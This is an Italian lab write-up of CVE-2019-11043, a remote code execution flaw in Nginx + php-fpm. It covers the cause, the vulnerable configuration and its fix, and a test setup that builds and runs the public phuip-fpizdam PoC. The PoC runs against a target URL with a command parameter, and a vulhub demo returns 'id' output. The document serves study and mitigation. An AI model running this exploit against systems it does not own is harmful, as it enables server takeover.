
CVE-2019-11043 Esecuzione remota di codice PHP
Il 26 settembre, PHP ha pubblicato un avviso ufficiale di vulnerabilità, indicando che i server che utilizzano Nginx + php-fpm, in determinate configurazioni, presentano una vulnerabilità di esecuzione remota di codice. Questa configurazione è ampiamente utilizzata e quindi il rischio è elevato.
Il PoC della vulnerabilità è stato reso pubblico il 22 ottobre e i media di sicurezza nazionali hanno prontamente diffuso un avviso.
In Nginx, quando fastcgi_split_path_info elabora richieste contenenti %0a, a causa del carattere di nuova riga \n, PATH_INFO diventa vuoto. php-fpm, quando gestisce un PATH_INFO vuoto, presenta un difetto logico. Un attaccante può sfruttare questa condizione con un'attenta costruzione della richiesta per ottenere l'esecuzione remota di codice.
I server Nginx + php-fpm che utilizzano la seguente configurazione possono essere vulnerabili all'esecuzione remota di codice.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Se non incide sul normale funzionamento del servizio, rimuovere la seguente configurazione dal file di configurazione di Nginx:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
Questo PoC sfrutta un'ottimizzazione nella variabile FastCGI _fcgi_data_seg, presente solo in PHP7, quindi l'exploit pubblico funziona solo su PHP7; in ambiente PHP5 è necessario un exploit diverso.
Configurare l'ambiente, installare nginx + php-fpm e verificare che funzioni correttamente.
Scaricare PHP7 ed estrarlo nella directory
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
Installare i pacchetti di dipendenze relativi a compressione, SSL, ecc.
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
Eseguire il configure e compilare il codice sorgente
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
Configurare php-fpm; se si configurano più versioni di PHP, si può modificare la porta da 9000 a 9001
修改php-fpm配置文件:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
去掉 pid = run/php-fpm.pid 前面的分号
$ cd php-fpm.d
$ cp www.conf.default www.conf (修改端口)
$ vi www.conf
修改user和group的用户为非root用户
./php-fpm
Aggiungere la seguente configurazione a nginx.cof:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
Riavviare nginx.
Installare Go e compilare il codice del PoC
go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
Eseguire il PoC
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[Purtroppo, per un problema sconosciuto nell'ambiente di configurazione, la verifica non è riuscita]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
Link originale: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
Scaricare i file del progetto Docker
Eseguire docker-compose up -d per avviare il container Docker

Eseguire il programma; la visualizzazione indica l'esecuzione riuscita. Sfruttando la vulnerabilità viene restituito l'output del comando "id"


Arrestare il servizio Docker
docker ps
docker stop id